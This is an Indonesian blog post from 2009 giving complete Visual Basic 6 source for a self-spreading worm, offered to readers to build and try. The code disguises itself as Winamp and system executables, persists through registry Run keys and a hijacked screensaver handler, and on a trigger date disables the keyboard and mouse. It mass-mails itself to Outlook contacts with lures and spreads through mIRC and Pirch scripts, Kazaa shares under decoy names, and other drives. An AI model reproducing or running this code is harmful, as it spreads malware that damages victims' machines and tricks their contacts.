source code worm vb60

pembuatan worm yang menginfeksi Kazaa, Pirch,MIRC,dan Microsoft Outlook buat saling mempropagandain sendiri, worm ini bisa dipake
Ini Infeksinya :
Akan mengcopy di C:%System%\Winamp.exe
Mendaftarkan dirinya di register di :
$HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Swf32="C:%System%\Winamp.exe"' supaya bisa aktif kalo kumpoter di nyala in..
$HKEY_CLASSES_ROOT\scrfile\shell\open\command\="C:%System%\winamp.exe"',
Nampilin error : Winamp error, please reinstall !' saat virus di jalanin
akan mengcopy ke folder startup jadi bisa aktif terus
Mengcopy juga ke %Windows%, %System% and %Temp% folders dengan nama 'Jdbgmgr.exe'
Ini di lakukan supaya ada backupan worm.
mengirim email ke semua daftar alamat email yang ada di address book
Worm ini akan berusaha menyebarkan dirinya melalui Mirc, Pirch and Kazaa
Oo..h iya..,aq enggak tau nyebarin melaui E-mail bekerja apa enggak di komputer laen,masalahnya di komputer aq jalan,kasih tau aq yah.. sapa tau aja jalan ? ! ?
dan sebagainya, di coba yah..

Kalo mau ngebuatnya yang dibutuhin cuman Form kosong aja kok, gak ada komponen laennya and tinggal di masukin aja Codingnya .

NB : Aq gunain statement Print -> 6.02x10^23,

'-------code---------
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'Objeck CD Tray (Supaya worm bisa buka CD Tray)
Private Sub Form_Load()
On Error Resume Next
' -------------------------------------------------------------------------------------
Dim AppPath As String
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then AppPath = AppPath & "\" ' cari tempat negcopy :)
Set fso = CreateObject("Scripting.FileSystemObject") ' Cari tempat di direktori %Windows%, %System% atau %Temp%.
Set wsc = CreateObject("WScript.Shell") ' Copy ke Folder %Startup% , dan tulis di register.
Wormku = AppPath & App.EXEName & ".EXE" ' Copy format .exe.
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Winamp.exe") <> "Winamp.exe" Then ' Periksa apa worm udah di Copy.
FileCopy Wormku, fso.GetSpecialFolder(1) & "\Winamp.exe" ' Kalo worm belum di copy,yah.. di copy lagi dunks... :)
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Winamp", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register supaya worm bisa terus di jalan in.
wsc.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register,terus mengesampingkan perintah Screen Server di Dekstop,supaya menghemat daya yang di gunain di Svreen Server, dan sebagai gantinya yah.. worm ini lah...
MsgBox "Winamp Error,Please Reinstal....!", vbCritical, "Error" ' Kirim pesan palsu :)
Else
If Day(Now) = 16 Then 'infeksi pada tanggal 16 :)
MsgBox "Compact-Disc Terinfeksi", vbSystemModal + vbExclamation, "cinta ku padamu"
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0& ' Buka CD Tray :)
wsc.Run "Rundll32.exe Keyboard,Disable" ' Disable keyboard
wsc.Run "Rundll32.exe Mouse,Disable" ' Disable mouse
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\ku_Keyboard", "Rundll32.exe Keyboard,Disable" ' Disable Keyboard di Register,jadi Keyboard akan tetap enggak jalan sebelum Value di Register di Hapus.
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\ku_Mouse", "Rundll32.exe Mouse,Disable" ' Sama seperti Keyboard,Mouse akan tetap disable sebelum Value di Register di Hapus.
End If
End If
' -------------------------------------------------------------------------------------
If Dir(wsc.SpecialFolders("Startup") & "\ku.exe") <> "ku.exe" Then 'Copy ke Folder StartUp
FileCopy Wormku, wsc.SpecialFolders("Startup") & "\ku.exe" ' Kalo worm enggak ada di folder StartUp, Yah.. copy lagi.. lagi.. dan lagi.. sampe bosen :)
End If
' -------------------------------------------------------------------------------------
FileCopy Wormku, fso.GetSpecialFolder(0) & "\Jdbgmgr.exe"
FileCopy Wormku, fso.GetSpecialFolder(1) & "\Jdbgmgr.exe" ' buat BackUp Worm ,dan copy ulang file Jdbgmgr.exe :)
FileCopy Wormku, fso.GetSpecialFolder(2) & "\Jdbgmgr.exe"
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\cinta ku.txt") <> "cinta ku.txt" Then ' kirim worm ke alamat yang ada di Address Book di Microsoft Outlook.
Set OutlookApp = CreateObject("Outlook.Application")
Set GNS = OutlookApp.GetNameSpace("MAPI")
For List1 = 1 To GNS.AddressLists.Count
CountLoop = 1
For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop))
Randomize
RndNumber = Int((6 * Rnd) + 1)
Select Case RndNumber
Case 1: RndText = "mao ngk aku kasih software biar hemat ber internet" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 2: RndText = "mao ngk aku kasih software biar hemat ber internet gag bayar" & vbCrLf _
& "Balas E-mail aku ya..kalo mau,Oke..;)" & vbCrLf _
& "" & vbCrLf _
& "salamb.."
Case 3: RndText = "mao ngk aku kasih software biar hemat ber internet mumpung gratis" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 4: RndText = "mao ngk software biar hemat ber internet gratisss" & vbCrLf _
& "Aku tahu kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "hhe.."
Case 5: RndText = "mao ngk software biar hemat ber internet biar kuota gg boros " & vbCrLf _
& "klo mao Kirim e-mail ke aku yah.." & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 6: RndText = "mao ngk software biar hemat ber internet di jamin 100% gratis kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& ".:D"
End Select
OutlookEmail.Subject = "promosiin software!"
OutlookEmail.Body = RndText
OutlookEmail.Attachments.Add (fso.GetSpecialFolder(1) & "\ku.exe")
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Importance = 2
OutlookEmail.Send
CountLoop = CountLoop + 1
Next
Next
End If
' -------------------------------------------------------------------------------------
Open fso.GetSpecialFolder(1) & "\cinta ku.txt" For Output As 1
Print #1, "ku by vels shadow"
Close 1
' -------------------------------------------------------------------------------------
If Dir("C:\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc32" ' Cari Mirc
If Dir("C:\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc32"
If mIRCPath <> "" Then ' Jika Mirc di instal atau ada di komputer worm akan mengEdit : Script.ini :)
' -------------------------------------------------------------------------------------
If Dir(mIRCPath & "\HIe.ex_") <> "HIe.ex_" Then
FileCopy Wormku, mIRCPath & "\HIe.ex_"
End If
' -------------------------------------------------------------------------------------
Open mIRCPath & "\script.ini" For Output As 2
Print #2, "[script]"
Print #2, "n5= on 1:JOIN:#:{"
Print #2, "n6= /if ( $nick == $me ) { halt }"
Print #2, "n7= /msg $nick mau software biar irit untuk internet ;) - kao tidak mau ya sudah gpp kok .cuma mau promosin soft tmnku 100%berjalan"
Print #2, "n8= /dcc send -c $nick " & mIRCPath & "\HIe.ex_"
Print #2, "n9= }"
Close 2
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch32" ' Cari Folder Pirch
If Dir("C:\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch32"
' -------------------------------------------------------------------------------------
If PirchPath <> "" Then ' Kalo Pirch di instal di komputer atau ada di komputer maka worm akan mengEdit file : Events.ini :)
' -------------------------------------------------------------------------------------
If Dir(PirchPath & "\HIe.ex_") <> "HIe.ex_" Then
FileCopy Wormku, PirchPath & "\HIe.ex_"
End If
' -------------------------------------------------------------------------------------
Open PirchPath & "\events.ini" For Output As 3
Print #3, "[Levels]"
Print #3, "Enabled=1"
Print #3, "Count=6"
Print #3, "Level1=000-Unknowns"
Print #3, "000-UnknownsEnabled=1"
Print #3, "Level2=100-Level 100"
Print #3, "100-Level 100Enabled=1"
Print #3, "Level3=200-Level 200"
Print #3, "200-Level 200Enabled=1"
Print #3, "Level4=300-Level 300"
Print #3, "300-Level 300Enabled=1"
Print #3, "Level5=400-Level 400"
Print #3, "400-Level 400Enabled=1"
Print #3, "Level6=500-Level 500"
Print #3, "500-Level 500Enabled=1"
Print #3, ""
Print #3, "[000-Unknowns]"
Print #3, "UserCount=0"
Print #3, "Event1=ON JOIN:#:/msg $nick mau software biar irit untuk internet ;) - kao tidak mau ya sudah gpp kok .cuma mau promosin soft tmnku 100%berjalan"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[100-Level 100]"
Print #3, "User1=*!*@*"
Print #3, "UserCount=1"
Print #3, "Event1=ON JOIN:#:/dcc send $nick " & PirchPath & "\HIe.ex_"
Print #3, "EventCount=1"
Print #3, ""
Print #3, "[200-Level 200]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[300-Level 300]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[400-Level 400]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[500-Level 500]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Close 3
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa\Kazaa.exe") = "Kazaa.exe" Then ' Periksa apa Kazaa di instal/ada di komputer.
MkDir fso.GetSpecialFolder(1) & "\KazaaShared" ' Kalo Kazaa ada dikomputer,maka worm akan membuat folder tersembunyi :)
KazaaShared = fso.GetSpecialFolder(1) & "\KazaaShared\"
FileCopy Wormku, KazaaShared & "sediH.exe"
FileCopy Wormku, KazaaShared & "merintih.exe"
FileCopy Wormku, KazaaShared & "system.exe"
FileCopy Wormku, KazaaShared & "Winamp.exe"
FileCopy Wormku, KazaaShared & "regedit.exe"
FileCopy Wormku, KazaaShared & "taskmgr.exe"
FileCopy Wormku, KazaaShared & "svchost.exe"
FileCopy Wormku, KazaaShared & "avguard.exe"
FileCopy Wormku, KazaaShared & "explorer.exe"
FileCopy Wormku, KazaaShared & "crss.exe"
FileCopy Wormku, KazaaShared & "MacroMedia Flash 6.0.exe"
FileCopy Wormku, KazaaShared & "smss.exe"
FileCopy Wormku, KazaaShared & "Microsoft Word.exe"
FileCopy Wormku, KazaaShared & "Lesbian.exe"
FileCopy Wormku, KazaaShared & "[SWF] - Jurassic Park 3.exe"
FileCopy Wormku, KazaaShared & App.EXEName & ".exe"
wsc.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\Transfer\DlDir1", fso.GetSpecialFolder(1) & "\KazaaShared" ' Folder tersembunyinya tulis di Register :)
End If
' -------------------------------------------------------------------------------------
For Each dc In fso.Drives ' Infeksi Driver.
If dc.DriveType = 2 Or dc.DriveType = 3 Then
If UCase(dc.Path) <> "C:" Then
If dc.IsReady Then
If Dir(dc.Path & "\Winamp.exe") <> "Winamp.exe" Then 'Periksa apa worm terCopy.
FileCopy Wormku, dc.Path & "\Winamp.exe" ' Kalo gak ada Copy Lagi..:)
End If
End If
End If
End If
Next
wsc.RegWrite "HKEY_CURRENT_USER\Software\ku\1.0\", "vels shadow ada di comp. kmo"
' -------------------------------------------------------------------------------------
End Sub





Bagi yang ingin copy paste jangan lupa di sertai back link ke situs ini dan sumber.

Author : velshadow

On : 10 Mei 2009


silahkan berkomentar dengan sopan.